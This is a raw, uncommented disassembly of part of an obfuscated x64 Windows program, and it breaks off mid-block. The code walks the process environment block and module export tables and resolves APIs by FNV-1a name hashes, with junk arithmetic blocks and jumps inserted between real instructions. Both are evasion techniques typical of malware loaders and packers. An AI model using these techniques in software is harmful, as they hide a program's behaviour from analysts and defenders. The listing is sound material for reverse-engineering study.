mov rcx, qword [rbp + 0x1010]
mov rcx, qword [rcx + 0x198]
call r10
mov r10, qword [0x140040438]
test r10, r10
jne 0x1400dc578
push rax
pushf
mov eax, 0xd2780579
pushf
not eax
add eax, 0xa98636a7
xor eax, 0x931b4592
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xa15b6948
xor eax, 0x9b886c36
rol eax, 0x84
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xcf8714f6
pushf
not eax
add eax, 0x9fb43172
xor eax, 0xc63ad1eb
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb5048587
xor eax, 0x87d57665
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc933ea2d
xor eax, 0xaffa2d84
rol eax, 0x6d
popf
jmp 0x1400dafd5
xor ebx, ebx
mov r11d, 0xd9105290
pushf
not r11d
add r11d, 0xec300d0b
xor r11d, 0xd1dbd4c3
rol r11d, 0xc6
popf
pushf
not r11d
add r11d, 0x9026e7dd
xor r11d, 0xb9b8cebe
rol r11d, 0xcb
popf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop word [rax + rax]
push rax
pushf
mov eax, 0x410d1e21
pushf
not eax
add eax, 0xb50f8919
xor eax, 0x9737d009
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xab1e9974
xor eax, 0xf79fb63e
rol eax, 0x4a
popf
jmp 0x1400dafd5
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1400dc68e
push rax
pushf
mov eax, 0xee892e07
pushf
not eax
add eax, 0xb3fea24a
xor eax, 0xb88c601e
rol eax, 0x42
popf
pushf
not eax
add eax, 0x88c46ae5
xor eax, 0x90e02773
rol eax, 0x17
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x743aeb99
pushf
not eax
add eax, 0xcfc41a2d
xor eax, 0x84da0b42
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa141b1d2
xor eax, 0xe365c76d
rol eax, 0xeb
popf
jmp 0x1400dafd5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7d6e1c7d
pushf
not edx
add edx, 0xa1d999e0
xor edx, 0xfc265061
rol edx, 0xf1
popf
pushf
not edx
add edx, 0x829ba724
xor edx, 0x9fe54d30
rol edx, 0xf1
popf
pushf
not edx
add edx, 0x99e77ff1
xor edx, 0x9d8da2c2
rol edx, 0x93
popf
cmp rcx, r8
je 0x1400dc777
push rax
pushf
mov eax, 0x469f569d
pushf
not eax
add eax, 0xd2be7d0d
xor eax, 0xb2b6388b
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xb6ab3109
xor eax, 0x8cf2b846
rol eax, 0x85
popf
pushf
not eax
add eax, 0x9a053081
xor eax, 0xd9ccccd4
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xec85087b
xor eax, 0xa9e57e56
rol eax, 0x93
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x694750f8
pushf
not eax
add eax, 0x8089266b
xor eax, 0xa4bf8d4a
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xbb36dc3c
xor eax, 0xd33a2bc2
rol eax, 0x42
popf
jmp 0x1400dafd5
nop
push rax
pushf
mov eax, 0x7dac8f39
pushf
not eax
add eax, 0x8139f48c
xor eax, 0xbb03953f
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xba65e796
xor eax, 0xd089997a
rol eax, 0x66
popf
pushf
not eax
add eax, 0xfd94658a
xor eax, 0x8cc06ac7
rol eax, 0x82
popf
pushf
not eax
add eax, 0xf7360b7a
xor eax, 0xdd97ede4
rol eax, 0xd8
popf
jmp 0x1400dafd5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400dc872
push rax
pushf
mov eax, 0x314f2488
pushf
not eax
add eax, 0xf8de3e18
xor eax, 0xb93b3248
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xadefaff3
xor eax, 0xd9072738
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb3a4e890
xor eax, 0x97695186
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xf7682d39
xor eax, 0xd7f7e18c
rol eax, 0x35
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x3196441
pushf
not eax
add eax, 0xd9a1b5c9
xor eax, 0xec32fe43
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xb5871764
xor eax, 0xff65e7c3
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xe779fd01
xor eax, 0xd65aefef
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xbc9dd873
xor eax, 0x8f43ff72
rol eax, 0xae
popf
jmp 0x1400dafd5
cmp edx, ebx
jne 0x1400dc919
push rax
pushf
mov eax, 0xd65e83b0
pushf
not eax
add eax, 0xe36f2d51
xor eax, 0xe6d5d6f1
rol eax, 0x23
popf
pushf
not eax
add eax, 0xa97d36fe
xor eax, 0xdfa133df
rol eax, 0x12
popf
pushf
not eax
add eax, 0xe553dcc5
xor eax, 0xa4bd8904
rol eax, 0xcc
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xc9719c13
pushf
not eax
add eax, 0xa4d0005f
xor eax, 0xb8c8ac5e
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xc8dd4c50
xor eax, 0xfecb93d3
rol eax, 0x13
popf
pushf
not eax
add eax, 0x9a212ebb
xor eax, 0x8a9b6456
rol eax, 0xe9
popf
jmp 0x1400dafd5
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
push r9
not r9
sub rdi, r9
pop r9
sub rdi, 1
cmp rdi, r9
je 0x1400dc9d5
push rax
pushf
mov eax, 0x242f2553
pushf
not eax
add eax, 0xb443ad46
xor eax, 0x93a89399
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xa5816507
xor eax, 0x99791b00
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x997bf7ea
xor eax, 0xd1dac5a4
rol eax, 0x52
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xaf558acb
pushf
not eax
add eax, 0xe36384de
xor eax, 0xe6c96026
rol eax, 0x66
popf
pushf
not eax
add eax, 0xaafbf5f1
xor eax, 0xe5b0b245
rol eax, 0x78
popf
pushf
not eax
add eax, 0x8a78a92e
xor eax, 0xf1ad3345
rol eax, 0x74
popf
pushf
not eax
add eax, 0x8bee956f
xor eax, 0x8a88863f
rol eax, 0x3f
popf
jmp 0x1400dafd5
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400dca81
push rax
pushf
mov eax, 0xc8b6ce9d
pushf
not eax
add eax, 0xb15e4c4c
xor eax, 0xf653404d
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc70a4cf7
xor eax, 0x86eb53e6
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xb48613b0
xor eax, 0x903125a6
rol eax, 2
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xf8b73a6d
pushf
not eax
add eax, 0xf0415d74
xor eax, 0xf0d0eb5e
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe11e44b7
xor eax, 0x9d1e09e0
rol eax, 0xac
popf
jmp 0x1400dafd5
mov r14d, dword [rdi + 0x20]
push rax
pushf
mov eax, 0xcc76b0d4
pushf
not eax
add eax, 0xd22e4874
xor eax, 0x832089ef
rol eax, 0xce
popf
pushf
not eax
add eax, 0xb5f7e2b0
xor eax, 0xdb03fcbf
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xf50baccf
xor eax, 0x80a258d3
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x9fbe6e68
xor eax, 0xf3120f04
rol eax, 0x50
popf
jmp 0x1400dafd5
dec r8d
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
mov edx, 0x99ef3149
pushf
not edx
add edx, 0xeff088bd
xor edx, 0xfc0fd5f9
rol edx, 0x46
popf
pushf
not edx
add edx, 0x886d6e81
xor edx, 0xa32fa6f4
rol edx, 0xdc
popf
pushf
not edx
add edx, 0xeb7c5d61
xor edx, 0xb8c9d9b8
rol edx, 0x9e
popf
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400dcbab
push rax
pushf
mov eax, 0x70bda105
pushf
not eax
add eax, 0xafa0f57f
xor eax, 0xd26ce93d
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xb9390955
xor eax, 0xe1218ecb
rol eax, 0x6d
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x71f40688
pushf
not eax
add eax, 0xdf057451
xor eax, 0x925d3137
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x89d53d26
xor eax, 0xc1d80bb3
rol eax, 0x25
popf
jmp 0x1400dafd5
nop
push rax
pushf
mov eax, 0x66753ff2
pushf
not eax
add eax, 0xc94c892b
xor eax, 0xa206a504
rol eax, 0x89
popf
pushf
not eax
add eax, 0xd28efe4a
xor eax, 0xbf5b1d53
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xe3083b98
xor eax, 0xa5bb340d
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xfe9a5b87
xor eax, 0xf64034a3
rol eax, 0xcd
popf
jmp 0x1400dafd5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x1400dcc94
push rax
pushf
mov eax, 0xf8fce7fd
pushf
not eax
add eax, 0xc03e838a
xor eax, 0x80ae0740
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xc0d00204
xor eax, 0xfa685ad2
rol eax, 0xef
popf
pushf
not eax
add eax, 0xac77d525
xor eax, 0xea08db64
rol eax, 0x9a
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xb57ccdc2
pushf
not eax
add eax, 0x805a9730
xor eax, 0xbab84962
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xefabdb29
xor eax, 0xbebba73d
rol eax, 0xb
popf
pushf
not eax
add eax, 0xe81934dd
xor eax, 0x99326f73
rol eax, 0xb2
popf
jmp 0x1400dafd5
cmp edx, r11d
je 0x1400dcd25
push rax
pushf
mov eax, 0x61652856
pushf
not eax
add eax, 0xfcfef1da
xor eax, 0xfea3566f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xeb7351d8
xor eax, 0xe96ff3d8
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xc175a4bf
xor eax, 0xbfa50a82
rol eax, 0x2f
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xbb9e3ec1
pushf
not eax
add eax, 0xc72ef82c
xor eax, 0xd6a1a624
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf650dd27
xor eax, 0x81630a10
rol eax, 0x23
popf
jmp 0x1400dafd5
test r8d, r8d
jne 0x1400dcd90
push rax
pushf
mov eax, 0xf1c67da0
pushf
not eax
add eax, 0xa139ae81
xor eax, 0xfe7875f7
rol eax, 0x11
popf
pushf
not eax
add eax, 0x893061c6
xor eax, 0xff01bf84
rol eax, 0xc0
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x6fcfe054
pushf
not eax
add eax, 0xac0b119c
xor eax, 0xf2b5becd
rol eax, 0xad
popf
pushf
not eax
add eax, 0x9f10261d
xor eax, 0x89db4431
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xfae6c8ef
xor eax, 0xb24e1793
rol eax, 0xdf
popf
jmp 0x1400dafd5
jmp 0x1400dd2be
mov ecx, dword [rdi + 0x1c]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
push r9
not r9
sub r10, r9
pop r9
sub r10, 1
cmp r10, rdi
jbe 0x1400dce92
push rax
pushf
mov eax, 0x7ae36cc5
pushf
not eax
add eax, 0xc5bbbda4
xor eax, 0xdeebaada
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xcecb6241
xor eax, 0xf7433230
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xdc17719d
xor eax, 0xa65e3d4b
rol eax, 0x68
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xef11698c
pushf
not eax
add eax, 0xb26533e6
xor eax, 0xcb5afbbd
rol eax, 0x15
popf
pushf
not eax
add eax, 0xc3630d15
xor eax, 0x9d237f73
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xfdc20183
xor eax, 0xc794b5d6
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe655e849
xor eax, 0x934e5abc
rol eax, 0x17
popf
jmp 0x1400dafd5
lea rax, [r15 + rdi]
cmp r10, rax
jae 0x1400dcf4d
push rax
pushf
mov eax, 0xd46224c0
pushf
not eax
add eax, 0xec63c556
xor eax, 0x814ca448
rol eax, 0x43
popf
pushf
not eax
add eax, 0xa066945f
xor eax, 0xc59e5b44
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x82aeee85
xor eax, 0xffddf7c0
rol eax, 0x72
popf
pushf
not eax
add eax, 0xaa9e0842
xor eax, 0x83980be2
rol eax, 0x5f
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x33e87071
pushf
not eax
add eax, 0xab298074
xor eax, 0xe0b7563c
rol eax, 0x41
popf
pushf
not eax
add eax, 0xb20c9077
xor eax, 0x8fe003f9
rol eax, 0x6a
popf
jmp 0x1400dafd5
mov ebx, 0xfb7991f
pushf
not ebx
add ebx, 0xefe0077e
xor ebx, 0xac05a959
rol ebx, 0xb8
popf
pushf
not ebx
add ebx, 0xcd983b38
xor ebx, 0xd80b161d
rol ebx, 0x9a
popf
pushf
not ebx
add ebx, 0xc40a8698
xor ebx, 0xf1fd9a45
rol ebx, 0x2d
popf
mov r11d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x1400dd028
push rax
pushf
mov eax, 0x16c56919
pushf
not eax
add eax, 0xd767208d
xor eax, 0xe157b48d
rol eax, 2
popf
pushf
not eax
add eax, 0x9d7203d7
xor eax, 0xda0d5b32
rol eax, 0x57
popf
pushf
not eax
add eax, 0x913467b6
xor eax, 0xb69e3daa
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x863d021f
xor eax, 0x8e238c94
rol eax, 0xc6
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x92c613ab
pushf
not eax
add eax, 0xa7459a28
xor eax, 0xa73b858e
rol eax, 3
popf
pushf
not eax
add eax, 0x8ee0abee
xor eax, 0xe0b79001
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc66c86d4
xor eax, 0xfdcbddf1
rol eax, 0x14
popf
jmp 0x1400dafd5
nop dword [rax + rax]
push rax
pushf
mov eax, 0x67a7b773
pushf
not eax
add eax, 0xd84de477
xor eax, 0xdf9f2376
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd5546b05
xor eax, 0x81c383aa
rol eax, 0x27
popf
jmp 0x1400dafd5
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x1400dd0f2
push rax
pushf
mov eax, 0xf5fa7a1c
pushf
not eax
add eax, 0xf5f90e6b
xor eax, 0xd926a888
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xe03e2939
xor eax, 0xdbb5645d
rol eax, 0x8c
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x9d35972e
pushf
not eax
add eax, 0xaf6680a3
xor eax, 0xf923364a
rol eax, 0x18
popf
pushf
not eax
add eax, 0xb7515680
xor eax, 0x98cb71b0
rol eax, 0x67
popf
pushf
not eax
add eax, 0xc5282710
xor eax, 0xc65bec57
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd1f66511
xor eax, 0xaf530f49
rol eax, 0x42
popf
jmp 0x1400dafd5
inc r10
movzx eax, byte [r10]
test al, al
je 0x1400dd189
push rax
pushf
mov eax, 0x22b33931
pushf
not eax
add eax, 0xd2dd31d1
xor eax, 0xddf57fdb
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbeb84ded
xor eax, 0x8814df08
rol eax, 0xca
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x4f82cbd8
pushf
not eax
add eax, 0xf53f95fc
xor eax, 0xbf0f5840
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xaa1b02b7
xor eax, 0xa68f42ee
rol eax, 0x36
popf
pushf
not eax
add eax, 0x8ebffbf3
xor eax, 0xa1ee63fd
rol eax, 0xfd
popf
jmp 0x1400dafd5
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x1400dd21b
push rax
pushf
mov eax, 0x64b064f1
pushf
not eax
add eax, 0xd87e279b
xor eax, 0xdd30996f
rol eax, 0xea
popf
pushf
not eax
add eax, 0xd0d5f8b4
xor eax, 0xe866ddf8
rol eax, 0x28
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x22024530
pushf
not eax
add eax, 0xb4f282dc
xor eax, 0x86c286d3
rol eax, 0x82
popf
pushf
not eax
add eax, 0xac471083
xor eax, 0xad8cf105
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xf9b5dad0
xor eax, 0xe2bc674c
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xd0ab118a
xor eax, 0xf2f7c023
rol eax, 0x39
popf
jmp 0x1400dafd5
mov rsi, qword [r12]
push rax
pushf
mov eax, 0x11dbe2db
pushf
not eax
add eax, 0x89dfed8e
xor eax, 0xeb2bae93
rol eax, 0x43
popf
pushf
not eax
add eax, 0x87448e2a
xor eax, 0xa97b6a2b
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x9f7dd1ff
xor eax, 0x8c8db665
rol eax, 0x1c
popf
jmp 0x1400dafd5
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400dd30f
push rax
pushf
mov eax, 0xe2588e0a
pushf
not eax
add eax, 0xcd9c1554
xor eax, 0xde806c31
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xaed488a9
xor eax, 0xa4cefd29
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x8c7a8322
xor eax, 0xa05a73fc
rol eax, 0x99
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x439eff4
pushf
not eax
add eax, 0xe3624531
xor eax, 0xcac406ab
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xb48f9094
xor eax, 0xb492032b
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xce102b1f
xor eax, 0x93bc0393
rol eax, 0x60
popf
jmp 0x1400dafd5
cmp qword [rax + 0x30], 0
jne 0x1400dd3b9
push rax
pushf
mov eax, 0x905b6899
pushf
not eax
add eax, 0xce7647e1
xor eax, 0xaa813477
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x903ada6b
xor eax, 0xc44dcd9f
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xe628c251
xor eax, 0xc386bd8b
rol eax, 0x86
popf
pushf
not eax
add eax, 0x8e8d8c4e
xor eax, 0xd3fd0eb0
rol eax, 0x89
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xb484a7a3
pushf
not eax
add eax, 0xc09ca957
xor eax, 0xddccc7ba
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9eeb6e45
xor eax, 0xfb41e1f1
rol eax, 0x1b
popf
jmp 0x1400dafd5
xor r10d, r10d
push rax
pushf
mov eax, 0x8ffaaca4
pushf
not eax
add eax, 0xd1ab2292
xor eax, 0xd9f340b3
rol eax, 0x72
popf
pushf
not eax
add eax, 0xb814c109
xor eax, 0xe2465ffc
rol eax, 0xce
popf
jmp 0x1400dafd5
mov qword [0x140040438], r10
push rax
pushf
mov eax, 0xf92a83a7
pushf
not eax
add eax, 0x9cccc8a2
xor eax, 0xed7c47e7
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbdb78b31
xor eax, 0xb413f126
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xdc5acdba
xor eax, 0x8f9d0689
rol eax, 0x17
popf
pushf
not eax
add eax, 0xa6ffce3a
xor eax, 0x9e89e3f7
rol eax, 0xe
popf
jmp 0x1400dafd5
xor r9d, r9d
mov r8d, 0x6ba9c9af
pushf
not r8d
add r8d, 0xb401d4ca
xor r8d, 0xbf1333b9
rol r8d, 0x82
popf
pushf
not r8d
add r8d, 0xb4126046
xor r8d, 0xa7a03f4c
rol r8d, 0xd1
popf
pushf
not r8d
add r8d, 0xcb861fe1
xor r8d, 0xbd3cf029
rol r8d, 0x85
popf
pushf
not r8d
add r8d, 0xa81e0bc3
xor r8d, 0x92645b83
rol r8d, 0x26
popf
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1010]
mov rcx, qword [rax + 0x198]
call r10
test eax, eax
jle 0x1400dd54e
push rax
pushf
mov eax, 0x53e27223
pushf
not eax
add eax, 0xd5a2e7ff
xor eax, 0xdf5ad879
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xbb045bcb
xor eax, 0xdb9baa2a
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa3a14213
xor eax, 0xd8a97402
rol eax, 0x98
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x26cbe28
pushf
not eax
add eax, 0xe7676265
xor eax, 0xa599a8b3
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xfe775343
xor eax, 0xa9348936
rol eax, 0x53
popf
pushf
not eax
add eax, 0xfc0a8659
xor eax, 0xab08d7ce
rol eax, 0x83
popf
jmp 0x1400dafd5
cdqe
mov byte [rbp + rax - 0x40], 0
push rax
pushf
mov eax, 0xe66d2b58
pushf
not eax
add eax, 0x92bf988b
xor eax, 0xc5afc367
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xbb32d841
xor eax, 0x9047d969
rol eax, 0xd0
popf
jmp 0x1400dafd5
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 0xdc66a4af
pushf
not r8d
add r8d, 0xf01e6c32
xor r8d, 0xad8f78b0
rol r8d, 0x22
popf
pushf
not r8d
add r8d, 0xe6e1759f
xor r8d, 0xcdfe7ad4
rol r8d, 0x43
popf
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400ed668
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x68]
call fcn.1400f2a12
mov rdx, rax
mov rcx, r13
call fcn.140128397
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400dd691
push rax
pushf
mov eax, 0x501536c1
pushf
not eax
add eax, 0xfb7da5ed
xor eax, 0xfdd1f3ab
rol eax, 0x27
popf
pushf
not eax
add eax, 0xf2b55411
xor eax, 0xbc55b62e
rol eax, 0xec
popf
pushf
not eax
add eax, 0xc2ea624b
xor eax, 0x988d94af
rol eax, 0xb8
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x7e92ddd9
pushf
not eax
add eax, 0xd446a293
xor eax, 0x84d33d87
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xd6cf1d4c
xor eax, 0xf4dc9fae
rol eax, 0x63
popf
jmp 0x1400dafd5
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dd70b
push rax
pushf
mov eax, 0x3c7f7e5d
pushf
not eax
add eax, 0x8d2d2161
xor eax, 0xba3ad9ec
rol eax, 0x26
popf
pushf
not eax
add eax, 0x804ad8fd
xor eax, 0xda6c1ec2
rol eax, 0x9c
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x2a52affe
pushf
not eax
add eax, 0xc1ea73c4
xor eax, 0xe711e85f
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xac60a879
xor eax, 0xc2ee0760
rol eax, 0x88
popf
pushf
not eax
add eax, 0xb1f34ab3
xor eax, 0xef1da3eb
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xf09d78d8
xor eax, 0xfefd2059
rol eax, 0xe8
popf
jmp 0x1400dafd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400dd7b4
jmp 0x1400dd77a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae1e9
nop
push rax
pushf
mov eax, 0xf579407c
pushf
not eax
add eax, 0x8f1161b8
xor eax, 0x857a86cf
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xaeda92bc
xor eax, 0xa59c26bd
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xa348a86d
xor eax, 0x8fa0b706
rol eax, 0x55
popf
jmp 0x1400dafd5
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400dd851
push rax
pushf
mov eax, 0x4b188708
pushf
not eax
add eax, 0xd845b53a
xor eax, 0xdcd34856
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xc0b85b39
xor eax, 0xface27aa
rol eax, 0xe
popf
pushf
not eax
add eax, 0x97db38b1
xor eax, 0xf969f67a
rol eax, 0xf8
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xa972af61
pushf
not eax
add eax, 0xd26c08c0
xor eax, 0x974ca761
rol eax, 0xed
popf
pushf
not eax
add eax, 0x95a7a394
xor eax, 0xd5dfabbf
rol eax, 0xc1
popf
jmp 0x1400dafd5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dd8cb
push rax
pushf
mov eax, 0xd0a42e79
pushf
not eax
add eax, 0x8ba7c3eb
xor eax, 0xa1639f2f
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc36c61b0
xor eax, 0xb63c4cc0
rol eax, 0xba
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xd5f9bc3f
pushf
not eax
add eax, 0xb2e01968
xor eax, 0xa07d9e2d
rol eax, 0x81
popf
pushf
not eax
add eax, 0x8681b62c
xor eax, 0xce4a3021
rol eax, 0x68
popf
jmp 0x1400dafd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400dd946
push rax
pushf
mov eax, 0x81cd1a92
pushf
not eax
add eax, 0xa7dd4bef
xor eax, 0xcf66051b
rol eax, 0x40
popf
pushf
not eax
add eax, 0x95b7cace
xor eax, 0xae519686
rol eax, 0x6d
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x38e127a8
pushf
not eax
add eax, 0xda3ea605
xor eax, 0xaeebdd54
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xc76b2628
xor eax, 0x86ae710f
rol eax, 0x30
popf
jmp 0x1400dafd5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae1e9
push rax
pushf
mov eax, 0xbb802a36
pushf
not eax
add eax, 0xeb302aca
xor eax, 0x8f8c0d36
rol eax, 0x35
popf
pushf
not eax
add eax, 0xef56bcfe
xor eax, 0xeeaed3c3
rol eax, 0x37
popf
pushf
not eax
add eax, 0xaefba986
xor eax, 0x849f84ea
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9d732f8a
xor eax, 0xc1092876
rol eax, 0x34
popf
jmp 0x1400dafd5
movdqa xmm0, xmmword [0x1400366f0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400dda88
push rax
pushf
mov eax, 0x11a2c4be
pushf
not eax
add eax, 0xae1989b8
xor eax, 0xec12e610
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xad014410
xor eax, 0x8c041304
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xf12f8504
xor eax, 0x8693c857
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf3e4059f
xor eax, 0xdb730d99
rol eax, 0xdc
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x2992d1fe
pushf
not eax
add eax, 0xac3c1237
xor eax, 0xc4dc09c7
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x866d4533
xor eax, 0xb205f09a
rol eax, 0x63
popf
jmp 0x1400dafd5
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ddb15
push rax
pushf
mov eax, 0x53ee7411
pushf
not eax
add eax, 0xf2b20915
xor eax, 0x89e2c58f
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x89f0ef35
xor eax, 0x96b72746
rol eax, 8
popf
pushf
not eax
add eax, 0xfdcbfaf6
xor eax, 0xb1e0919a
rol eax, 0x64
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x65b8a3bc
pushf
not eax
add eax, 0xcd56ba7b
xor eax, 0xbf85cac2
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xc3fd359f
xor eax, 0xdd3c56b2
rol eax, 0x83
popf
jmp 0x1400dafd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400ddba3
push rax
pushf
mov eax, 0x78c396a2
pushf
not eax
add eax, 0x81a5c0de
xor eax, 0x884a33d2
rol eax, 0xbc
popf
pushf
